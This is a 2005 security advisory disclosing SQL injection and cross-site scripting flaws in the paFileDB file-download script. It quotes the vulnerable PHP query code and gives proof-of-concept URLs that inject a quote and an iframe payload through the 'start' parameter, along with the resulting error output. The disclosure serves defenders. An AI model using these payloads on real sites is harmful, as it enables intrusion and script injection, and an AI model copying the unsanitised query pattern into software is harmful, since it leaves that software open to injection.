SecurityReason - SQL injection and XSS in paFileDB ( Research Advisory )

Advisory Text :

-=[ SQL injection and XSS in paFileDB ]=-

Author: sp3x
Date: 12 March 2005

Affected software :
===================
paFileDB version : =>3.1

Description :
=============

paFileDB is designed to allow webmasters have a database of files for
download on their site.
To add a download, all you do is upload the file using FTP or whatever
method you use, log
into paFileDB's admin center, and fill out a form to add a file. paFileDB
lets you edit and
delete the files too.
No more messing with a bunch of HTML pages for a file database on your
site!
Using speedy MySQL for storing data, and powerful PHP for processing
everything, paFileDB is
one of the best and easiest ways to manage files!

SQL injection:
=======================

/includes/viewall.php
/includes/category.php

Code:
---------------------------------------------------------------------------
----------------------
if ($sortby == "name") {
$result = $pafiledb_sql->query($db, "SELECT * FROM
$db[prefix]_files WHERE file_pin = '0' ORDER BY file_name ASC LIMIT
$start,20", 0);
}
if ($sortby == "date") {
$result = $pafiledb_sql->query($db, "SELECT * FROM
$db[prefix]_files WHERE file_pin = '0' ORDER BY file_time DESC LIMIT
$start,20", 0);
}
if ($sortby == "downloads") {
$result = $pafiledb_sql->query($db, "SELECT * FROM
$db[prefix]_files WHERE file_pin = '0' ORDER BY file_dls DESC LIMIT
$start,20", 0);
}
if ($sortby == "rating") {
$result = $pafiledb_sql->query($db, "SELECT * FROM
$db[prefix]_files WHERE file_pin = '0' ORDER BY
(file_rating/file_totalvotes - 1) DESC LIMIT $start,20", 0);
}
---------------------------------------------------------------------------
-----------------------

As we can see the $start variable is vuln for sql injection attack.
But this sql injection for now is not critical , why ? because if we want
to inject malicious code to sql sentence after "ORDER BY" or after "LIMIT",
then in current MySql versions, all we can do, is to fail the sql request.
No UNION-s etc. When we try to inject sql sentence we get : "Wrong usage of
UNION and ORDER BY Error number: 1221" so we must wait When Mysql version
4.1 will be widely used then we can have something like this - "ORDER BY
desc ASC LIMIT (SELECT our_table FROM pafiledb_admin)...".

Examples:
=========

Sql injection:
--------------
http://[target]/[pafiledb_dir]/pafiledb.php?action=viewall&start='&sortby=r
ating
http://[target]/[pafiledb_dir]/pafiledb.php?action=category&start='&sortby=
rating

error message :
---------------
paFileDB was unable to successfully run a MySQL query.
MySQL Returned this error: You have an error in your SQL syntax near
'\',20' at line 1 Error number: 1064
The query that caused this error was: SELECT * FROM pafiledb_files WHERE
file_pin = '0' ORDER BY (file_rating/file_totalvotes - 1) DESC LIMIT \',20

Also in this error message we can see the [prefix] pafiledb tables that
should be hidden :)
And we can insert XSS code in error message for example :

Cros Site Scripting (XSS):
--------------------------

http://[target]/[pafiledb_dir]/pafiledb.php?action=viewall&start="><iframe%
20src=http://www.securityreason.com></iframe>&sortby=rating
http://[target]/[pafiledb_dir]/pafiledb.php?action=category&start="><iframe
%20src=http://www.securityreason.com></iframe>&sortby=date

error message :
---------------
paFileDB was unable to successfully run a MySQL query.
MySQL Returned this error: You have an error in your SQL syntax near '[Our
XSS]',20' at line 1 Error number: 1064
The query that caused this error was: SELECT * FROM pafiledb_files WHERE
file_pin = '0' ORDER BY (file_rating/file_totalvotes - 1) DESC LIMIT [Our
XSS]',20

How to fix :
============

Download the new version of the script or update.

Vendor :
========

No respond

Greetz :
========

Special greetz : cXIb8O3 , pkw :]

Contact :
=========

sp3x[at]securityreason[dot].com
www.securityreason.com